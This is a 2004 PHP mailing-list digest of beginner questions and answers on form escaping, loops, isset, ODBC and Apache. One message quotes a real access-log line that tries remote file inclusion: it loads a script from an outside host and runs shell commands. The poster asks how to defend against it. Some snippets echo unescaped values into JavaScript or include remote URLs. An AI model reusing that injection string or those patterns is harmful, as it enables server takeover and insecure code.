php-general Digest 15 Feb 2004 22:17:39 -0000 Issue 2592

Topics (messages 177726 through 177751):

Need help with output from form to .txt file
        177726 by: Kristers hotmail
        177727 by: Thorben
        177728 by: Thorben
        177729 by: Adam Bregenzer

Re: Question about php "forwarding" to javascript
        177730 by: David Otton
        177735 by: Peter Andersson

Re: ODBC with SQL Server
        177731 by: David Otton

Re: phps and iis
        177732 by: zerof
        177733 by: John W. Holmes

Simple while loop skipping first row of array
        177734 by: Verdon Vaillancourt
        177737 by: André Cerqueira
        177747 by: Verdon Vaillancourt

Re: Reading MS Access date/time field in PHP
        177736 by: YC Nyon
        177742 by: Jason Wong

isset() question
        177738 by: Anthony Ritter
        177739 by: Richard Davey
        177740 by: Anthony Ritter
        177741 by: Jason Wong

PHP on Apache 2.0.48
        177743 by: XMG
        177749 by: Freedomware

File Injection Bug
        177744 by: Bc. Radek Krejèa

Variables??
        177745 by: Alessandro Rodiani
        177746 by: Julien Wadin

Re: cli input and screen question(s)
        177748 by: Matthias Nothhaft

Re: Another preg question
        177750 by: Al

php as cgi with static libraries?
        177751 by: Marten Lehmann

Administrivia:

To subscribe to the digest, e-mail:
        [EMAIL PROTECTED]

To unsubscribe from the digest, e-mail:
        [EMAIL PROTECTED]

To post to the list, e-mail:
        [EMAIL PROTECTED]


----------------------------------------------------------------------
--- Begin Message ---
Hi!!

When i send data from a form and there is some special characters like ' " \ php seems 
to add an extra \ before every special character in the transfer from the form to the 
point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a 
guestbook where I use MySQL as database and I do not have the same problem there.


Esample:

I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister

--- End Message ---
--- Begin Message --- Kristers Hotmail wrote:

Hi!!

When i send data from a form and there is some special characters like ' " \ php seems to add an extra \ before every special character in the transfer from the form to the point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a guestbook where I use MySQL as database and I do not have the same problem there.


Esample:


I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister

Hi, there is a function which delete the backslahes. Before you put the text in the file, do

stripslashes($yourstring)

--
     - RPG Genesis 2004 -
- Make your dreams believable -

http://www.rpg-genesis.de
--- End Message ---
--- Begin Message --- Kristers Hotmail wrote:

Hi!!

When i send data from a form and there is some special characters like ' " \ php seems to add an extra \ before every special character in the transfer from the form to the point when I put the data in the .txt file where i store it.

It is a guestbook I'm using the script for so it is a bit anoying. I also have a guestbook where I use MySQL as database and I do not have the same problem there.


Esample:


I'm sendeing "hello" from the form

The result I get in my gb.txt file is \"hello\"

Why is that??

Can anyone help me

Regards

Krister

Hi, there is a function which delete the backslahes. Before you put the text in the file, do

stripslashes($yourstring)

--
     - RPG Genesis 2004 -
- Make your dreams believable -

http://www.rpg-genesis.de
--- End Message ---
--- Begin Message ---
On Sun, 2004-02-15 at 05:59, Kristers hotmail wrote:
> I'm sendeing "hello" from the form
> 
> The result I get in my gb.txt file is \"hello\"

You need to check out magic_quotes[1].  If you do not have access to
php.ini, or want a way to disable it without changing php.ini see my
previous post[2].

[1] http://us4.php.net/ref.info#ini.magic-quotes-gpc
[2] http://marc.theaimsgroup.com/?l=php-general&m=107669185927933&w=2

-- 
Adam Bregenzer
[EMAIL PROTECTED]
http://adam.bregenzer.net/

--- End Message ---
--- Begin Message ---
On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:

Could be missing the point here because your question is quite vague.

However...

>I am using a web page that uses the following php code to display the
>contents of a dynamically update webpage:
>
><?php
>include("http://.../source.xls);
>?>
>
>Is it possible to "forward" the contents of the code to a javascript?
>eg if the file "source.xls" contains the text "help me" is it possible to
>send that text to a javascript? I am quite stuck here so any help would be
>greatly appreciated.

source.xls just contains a bit of text, right? And you want that to end up
in a Javascript variable?

First, I'd use file_get_contents() or file() to get the contents of
source.xls into a PHP array.

$source = file_get_contents ('http://.../source.xls');

Next, you have to remember that Javascript is just text, the same as HTML.
So you can embed $source into a Javascript block in the same way as you
would embed it into HTML.

<script language="Javascript">
        function doAlert ()
        {
                var source = "<? echo ($source) ?>";
                alert (source);
        }
</script>

<a href='javascript:doAlert()'>Click Me</a>

Apologies for any mistakes in the Javascript, but I'm sure you get the idea.

--- End Message ---
--- Begin Message ---
Thanks!

It works like a charm!

/peter

> On Sun, 15 Feb 2004 07:52:11 +0100 (CET), you wrote:
>
> Could be missing the point here because your question is quite vague.
>
> However...
>
>>I am using a web page that uses the following php code to display the
>>contents of a dynamically update webpage:
>>
>><?php
>>include("http://.../source.xls);
>>?>
>>
>>Is it possible to "forward" the contents of the code to a javascript?
>>eg if the file "source.xls" contains the text "help me" is it possible to
>>send that text to a javascript? I am quite stuck here so any help would
>> be
>>greatly appreciated.
>
> source.xls just contains a bit of text, right? And you want that to end up
> in a Javascript variable?
>
> First, I'd use file_get_contents() or file() to get the contents of
> source.xls into a PHP array.
>
> $source = file_get_contents ('http://.../source.xls');
>
> Next, you have to remember that Javascript is just text, the same as HTML.
> So you can embed $source into a Javascript block in the same way as you
> would embed it into HTML.
>
> <script language="Javascript">
>       function doAlert ()
>       {
>               var source = "<? echo ($source) ?>";
>               alert (source);
>       }
> </script>
>
> <a href='javascript:doAlert()'>Click Me</a>
>
> Apologies for any mistakes in the Javascript, but I'm sure you get the
> idea.
>
>

--- End Message ---
--- Begin Message ---
On Fri, 13 Feb 2004 12:30:42 +0100, you wrote:

>I have a connectoin ODBC with a SQL Server database. A table has a field of
>type 'nvarchar'. This field contains japanese characters.
>How can I read these japanese characteres? When I read (with: "select name
>from data") only read '?' character.

I've come across this recently when talking to MySQL from a Windows
application. ODBC didn't like transferring 8-bit data - BLOB and TEXT fields
end up as strings of ?.

On Windows, you have to open a seperate stream object (ADO >= 2.5) to
recover the binary data. How that translates to the ODBC library used by
MySQL I have no idea... odbc_binmode() may help, possibly.

Have you considered just using the mssql_* library?

--- End Message ---
--- Begin Message ---
Try starting your browser with:
http://localhost/
-----
zerof
http://www.educar.pro.br/PAGES/
-----
"Anders Gjermshus" <[EMAIL PROTECTED]> escreveu na mensagem
news:[EMAIL PROTECTED]
> I have installed php on my iis server. What I'm looking for is how to get
> php sources to work on IIS. Like phps files.
--------

--- End Message ---
--- Begin Message --- Marek Kilimajer wrote:
Anders Gjermshus wrote:

Is it possible to get IIS 6 to show php sources. ( phps files )
>
Is it possible to set a custom 404 handler in IIS? Than you can set it to a php page, in the php page parse the request URI and highlight_file().

Good catch; never thought of that. It is possible to have a custom 404, although REQUEST_URI isn't created. You end up with a $_SERVER['QUERY_STRING'] value of "404;http://coconut/nosuchfile.php";, though, which you could parse for the original file name.


--
---John Holmes...

Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/

php|architect: The Magazine for PHP Professionals – www.phparch.com
--- End Message ---
--- Begin Message ---
I'm not sure I phrased my subject well, but...

The following is just to build a select menu from a table query result set.
It sort of works, but doesn't return the first row in the result set, ie if
I have the following rows in the table 'cats';

id  title
==========
1   Pears
2   Oranges
3   Apples
4   Bananas

echo "<select name=\"cats\">";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
    while ($c = mysql_fetch_array($result)) {
        echo "<option value=\"$c[id]\">$c[title]</option>";
    }
}
echo "</select>";


The resulting select menu will only include Bananas, Oranges, Pears.

Am I missing something terribly obvious to one less newbie than me?

TIA, 
Verdon

--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

try:

echo "<select name=\"cats\">";
$result = mysql_query("select * from cats order by title");
while ($c = mysql_fetch_array($result)) {
  echo "<option value=\"$c[id]\">$c[title]</option>";
}
echo "</select>";



Verdon Vaillancourt wrote:
I'm not sure I phrased my subject well, but...

The following is just to build a select menu from a table query result set.
It sort of works, but doesn't return the first row in the result set, ie if
I have the following rows in the table 'cats';

id  title
==========
1   Pears
2   Oranges
3   Apples
4   Bananas

echo "<select name=\"cats\">";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
    while ($c = mysql_fetch_array($result)) {
        echo "<option value=\"$c[id]\">$c[title]</option>";
    }
}
echo "</select>";


The resulting select menu will only include Bananas, Oranges, Pears.


Am I missing something terribly obvious to one less newbie than me?

TIA, Verdon
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAL631axdA/5C8vH8RAkmqAJwJndx7VZiNRGq/L7EIdDzvwJ6ksgCfT3Rc
Fsl2UFV3LW7k+cFvqzsC+xM=
=EmWf
-----END PGP SIGNATURE-----

--- End Message ---
--- Begin Message ---
That did the trick, and I learned something new. thanks :)
verdon

On 2/15/04 11:38 AM, "Duncan" <[EMAIL PROTECTED]> wrote:

> Problem is, that the first row is already in the $categories variable -
> since you have the first mysql_fetch_array call there.
> change it to:
> 
> echo "<select name=\"cats\">";
> $result = mysql_query("select * from cats order by title");
> while ($c = mysql_fetch_array($result)) {
>  echo "<option value=\"$c[id]\">$c[title]</option>";
> }
> echo "</select>";
> 
> 
> ...and it should work just fine.
> 
> Verdon Vaillancourt wrote:
> 
>> I'm not sure I phrased my subject well, but...
>> 
>> The following is just to build a select menu from a table query result set.
>> It sort of works, but doesn't return the first row in the result set, ie if
>> I have the following rows in the table 'cats';
>> 
>> id  title
>> ==========
>> 1   Pears
>> 2   Oranges
>> 3   Apples
>> 4   Bananas
>> 
>> echo "<select name=\"cats\">";
>> $result = mysql_query("select * from cats order by title");
>> $categories = mysql_fetch_array($result);
>> if ($categories) {
>>    while ($c = mysql_fetch_array($result)) {
>>        echo "<option value=\"$c[id]\">$c[title]</option>";
>>    }
>> }
>> echo "</select>";
>> 
>> 
>> The resulting select menu will only include Bananas, Oranges, Pears.
>> 
>> Am I missing something terribly obvious to one less newbie than me?
>> 
>> TIA, 
>> Verdon
>> 
>>  
>> 
> 
> 
> 

--- End Message ---
--- Begin Message ---
I'm trying to extract the year for a query from a date/time field in MS
Access via PHP.
The data type is Date/Time and formated as Long Integer.
Viewing it in Access "31 December 2003"
Viewing it in PHP without formating "2003-12-31 00:00:00"

I want to create a query based on the year only. I could do it with some
string functions. However, fundamentally, it's not correct.
Anyone can help?

Regards
Nyon

--- End Message ---
--- Begin Message ---
On Monday 16 February 2004 00:37, YC Nyon wrote:
> I'm trying to extract the year for a query from a date/time field in MS
> Access via PHP.

What you have above and what you have below are different ...

> I want to create a query based on the year only. I could do it with some
> string functions. However, fundamentally, it's not correct.
> Anyone can help?

... for the latter have a look at the Date/Time functions that Access 
provides. For the former, you're saying that:

> Viewing it in PHP without formating "2003-12-31 00:00:00"

It is a format that should be directly usable by strtotime(). Then look at the 
other functions in the chapter "Date and Time functions" to find what you 
need to extract the year.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
------------------------------------------
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
------------------------------------------
/*
"How to make a million dollars:  First, get a million dollars."
-- Steve Martin
*/

--- End Message ---
--- Begin Message ---
The following script is from Kevin Yank's book (Sitepoint).

When I test it _without_ entering a name in the text box and hit submit, the
_next_  page
loads - however the same page should load beacuse of the conditional
........
if (!isset($name) ):
.....

If I replace

!isset()

with

empty()


like

if (empty($name)):

and do not enter a name then the _same_ page loads which is what is supposed
to happen.

Why doesn't the call to !isset() with the negation mark loads the next page
when a name is not entered?

The script predates globals being turned off and it is below.

Thank you.
TR
.................



<html>
<head>
<title> Sample Page </title>
</head>
<body>

<?php if (!isset($name) ): ?>

  <!-- No name has been provided, so we
       prompt the user for one.         -->

  <form action="<?=$PHP_SELF?>" method="get">
  Please enter your name: <input type="text" name="name" />
  <input type="submit" value="GO" />
  </form>

<?php else: ?>

  <p>Your name: <?=$name?></p>

  <p>This paragraph contains a <a
href="newpage.php?name=<?=urlencode($name)?>">link</a> that passes the name
variable on to the next document.</p>

<?php endif; ?>

</body>
</html>

--- End Message ---
--- Begin Message ---
Hello Anthony,

Sunday, February 15, 2004, 4:43:12 PM, you wrote:

AR> Why doesn't the call to !isset() with the negation mark loads the next page
AR> when a name is not entered?

Because it's using isset() in the wrong capacity.

isset() does not check to see if a variable HAS a value, it checks to
see if the variable exists.

The variable in the code you posted will always exist, so the use of
isset() is redundant and should be changed for something like empty as
you noted. Stick the following in the top of your code to see:

<?php
        echo "<pre>";
        print_r($_GET);
        echo "</pre>";
?>

I feel the book you're learning from might not be the best out there!
Especially as it uses the horrible if : else : endif notation,
includes code on the same line as the PHP tags themselves and is
teaching you to code with register globals on. Is the book still on
sale? (i.e. did you buy it recently) or was it something you've had
for a while/got 2nd hand?

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

--- End Message ---
--- Begin Message ---
----- Original Message -----
From: "Richard Davey" <[EMAIL PROTECTED]>

> Hello Anthony,

> I feel the book you're learning from might not be the best out there!
> Especially as it uses the horrible if : else : endif notation,
> includes code on the same line as the PHP tags themselves and is
> teaching you to code with register globals on. Is the book still on
> sale? (i.e. did you buy it recently) or was it something you've had
> for a while/got 2nd hand?

> Best regards,
>  Richard Davey
>  http://www.phpcommunity.org/wiki/296.html
....................
Thank you for the reply Richard.

Yes. The book is on sale at:

www.sitepoint.com

also, at amazon, b and n, etc.

In fact, it's now in it's second edition by Kevin Yank.

It's not a bad book - quite readable to a newbie like myself - but when I
ran that code it didn't jive with that function call.  To make sure, I
downloaded it from their site and ran it again - and the same thing
happened.

Thank you for your help.

TR






---
[This E-mail scanned for viruses by gonefishingguideservice.com]


--- End Message ---
--- Begin Message ---
On Monday 16 February 2004 02:30, Richard Davey wrote:

> I feel the book you're learning from might not be the best out there!
> Especially as it uses the horrible if : else : endif notation,
> includes code on the same line as the PHP tags themselves 

What is horrible about that style? IMO doing this:

<?php if ($something) : ?>

 [... a bunch of HTML ...]

<?php endif; ?>


looks a lot neater than:

<?php
  if ($something) {
?>

 [... a bunch of HTML ...]

<?php
  }
?>

But whichever style a book chooses to use should not impact on one's decision 
as to whether it is a good book or not. I have not seen the book in question 
so I've no idea whether I would find it good or bad.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
------------------------------------------
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
------------------------------------------
/*
There's another way to survive.  Mutual trust -- and help.
                -- Kirk, "Day of the Dove", stardate unknown
*/

--- End Message ---
--- Begin Message ---
I know that use of PHP with Apache 2.x.x is
discouraged. I use 1.3.29 for my main site. 
Currently I am doing some testing with SSL
connections and because Apache 2.0.48 is 
already installed on my Redhat 8.0 server
and configured with SSL I have been using 
that (for testing). All my testing is done
using SSL (https://) connections.

I have seen some weird behaviour and am
curious if anyone else has seen something
like this with PHP and Apache 2.x.x 
(the PHP version is 4.2.2, btw).

I have a rather simple page where I fetch
a number of rows from MySQL and put them
in a two dimensional array - the first 
dimenstion corresponds to the row returned
from MySQL and the other dimension holds
the elements of the row. Later when 
displaying the actual html I loop through
the array displaying each row in a <tr>
in a table. 

Sometimes for no reason that I can yet
discern it will stop before displaying 
all of the rows. If I look at the page
source in the browser it just ends and
the rest of the html is not displayed.
It seems rather random. It doesn't stop
in the sample place. Sometimes I get 2-3
rows, sometimes a lot more - no pattern
that I can discern yet.  I am certainly
as capable of writing bugs as anyone
else but can't find any so far. And like
I said it more often than not displays
everything correctly. For what its worth
here is the MySQL code to load the array:

$query = "select pub_id, name1, city, state, added from pubs2 " .
                 "order by name1";

$result = mysql_query($query);

$num_rows = mysql_num_rows($result);

if ($result)
{  
  $rw = 0; 
  while ($row = mysql_fetch_array($result, MYSQL_NUM))
  {
    $pubs[$rw][0] = $row[0]; // pub_id
    $pubs[$rw][1] = $row[1]; // name1
    $pubs[$rw][2] = $row[2]; // city
    $pubs[$rw][3] = $row[3]; // state
    $pubs[$rw][4] = $row[4]; // added
    $rw = $rw + 1;
  }
  mysql_free_result($result);
  mysql_close();
}

Then I display it later (it gets a little
'ugly' displaying the rows cause it is wrapping
in my email):

<?php
for ($i=0;$i<$rw;$i++)
{
  if (even($i))
    echo "<tr bgcolor=\"#ccffff\">";
  else
    echo "<tr bgcolor=\"#ffffff\">";
        
  echo "<td><a 
href=\"detail.php?pub_id={$pubs[$i][0]}\">{$pubs[$i][1]}</a></td>"; // 
name1 
  echo "<td><font size=\"-1\">{$pubs[$i][2]}</font></td>"; // City
  echo "<td><font size=\"-1\">{$pubs[$i][3]}</font></td>"; // State
  echo "<td><font size=\"-1\">{$pubs[$i][4]}</font></td>"; // Added

  echo "</tr>\r\n";   
}
echo "<tr align=\"center\"><td colspan=\"4\"><font size=\"-1\" 
color=\"red\">( $rw records found )</font></td></td></tr>\r\n";
?>

// end code

Again I think this is fairly simple code. I am certainly
not trying to do anything tricky. 

I guess I will configure Apache 1.3.29 with SSL if don't
come up with some explanation, but I was curious if anyone
had seen such odd behaviour like this before (not displaying
all of the page).

Thanks in advance for your opinions and advice.

lk
www.theNewAgeSite.com

--- End Message ---
--- Begin Message --- Xmg wrote:

"I know that use of PHP with Apache 2.x.x is discouraged."

Wow, thanks for the tip. I'm using Apache 2 and have had no problems, but I've only done very basic things with MySQL and PHP so far. I hope I don't have to switch to Apache 1.3 when I get in a little deeper!
--- End Message ---
--- Begin Message ---
Hello,

  I found very interesting messages in my access log:

  
http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?&cmd=uname%20-a;id;

  It looks as trying of hack. Am I immune, if I have safe mod (because
  asu.txt is php script, which runs function system()).

  thanks

  Radek

-- 
Regards,
 Bc. Radek Krejča
 Starnet, s. r. o.
 [EMAIL PROTECTED]
 http://www.ceskedomeny.cz
 http://www.skdomeny.com
 http://www.starnet.cz
 ICQ: 65895541

--- End Message ---
--- Begin Message ---
I have a problem. When I call the function phpinfo() I can correctly see the page with the information about the server; but when I use a form to pass some information from a php page to another php page, if I use a print() or an echo() function, I can't see my variables. Why??? Help me please!!!!
Thank
 
Alessandro 
_______________________________________________________________________________
  IncrediMail - il mondo della posta elettronica si è finalmente evoluto - Clicca Qui

--- End Message ---
--- Begin Message ---
give the corresponding source code
are you using POST or GET ? What about REGISTER_GLOBALS ???

PS : NO MAILS IN HTML ON THE LIST, PLEASE


-----Message d'origine-----
De : Alessandro Rodiani [mailto:[EMAIL PROTECTED]
Envoyé : dimanche 15 février 2004 21:29
À : [EMAIL PROTECTED]; [EMAIL PROTECTED]
Objet : [PHP] Variables??


I have a problem. When I call the function phpinfo() I can correctly see the
page with the information about the server; but when I use a form to pass
some information from a php page to another php page, if I use a print() or
an echo() function, I can't see my variables. Why??? Help me please!!!!
Thank

Alessandro



____________________________________________________________________________
___
  IncrediMail - il mondo della posta elettronica si è finalmente evoluto -
Clicca Qui

--- End Message ---
--- Begin Message --- Hi Adam Bregenzer, you wrote:
On Fri, 2004-02-13 at 18:25, Matthias Nothhaft wrote:

The other problem is: I would like to draw a screen
like midnight commander does. Is there a way to get that
work with PHP ?


Ahh, sounds like a Slackware fan. :)
don't really know what it is. I just wanna
write some stuff to simplify "daily administration"
on my Debian machines.
And I like the idea to make this work with PHP ;-)


You want to look at ncurses[1] in PHP. This lets you draw on a screen. It does require a decent terminal interface but that should not be a
problem. Also readline[2] may help you with reading input.


[1] http://www.php.net/ncurses
[2] http://www.php.net/readline

Oh, that seems to be the things I'm looking for,
thanks a lot!

Regards,
Matthias

--- End Message ---
--- Begin Message --- Thanks for the feedback.

Here was my problem; I misunderstood how the "+" worked. It only applies to the last "\n", not both "n\n".



Hans Juergen Von Lengerke wrote:

From: Al <[EMAIL PROTECTED]>

$text= preg_replace("/\n\n+/", "\n\n", $text);
// remove excess This doesn't seem to do anything.




Strange, your code works for me:

[EMAIL PROTECTED]:~ > cat foo.php
<?php
 $text = "foo\n\n\n\n\nbar";
 echo "before:\n===\n$text\n===\n\n";
 $text = preg_replace("/\n\n+/", "\n\n", $text);
 echo "after:\n===\n$text\n===\n\n";
?>
[EMAIL PROTECTED]:~ > php ./foo.php
before:
===
foo




bar ===

after:
===
foo

bar
===

[EMAIL PROTECTED]:~ > php -v
PHP 4.3.4 (cli) (built: Feb 12 2004 17:42:41)
Copyright (c) 1997-2003 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2003 Zend
Technologies
[EMAIL PROTECTED]:~ >



--- End Message ---
--- Begin Message --- Hello,

when I'm building php as a cgi-module, a 'ldd php' shows a list of some libraries, that are linked in dynamically. How can I link some of them statically into the php-binary? I can't rely of external libs in some cases.

Regards
Marten

--- End Message ---

Reply via email to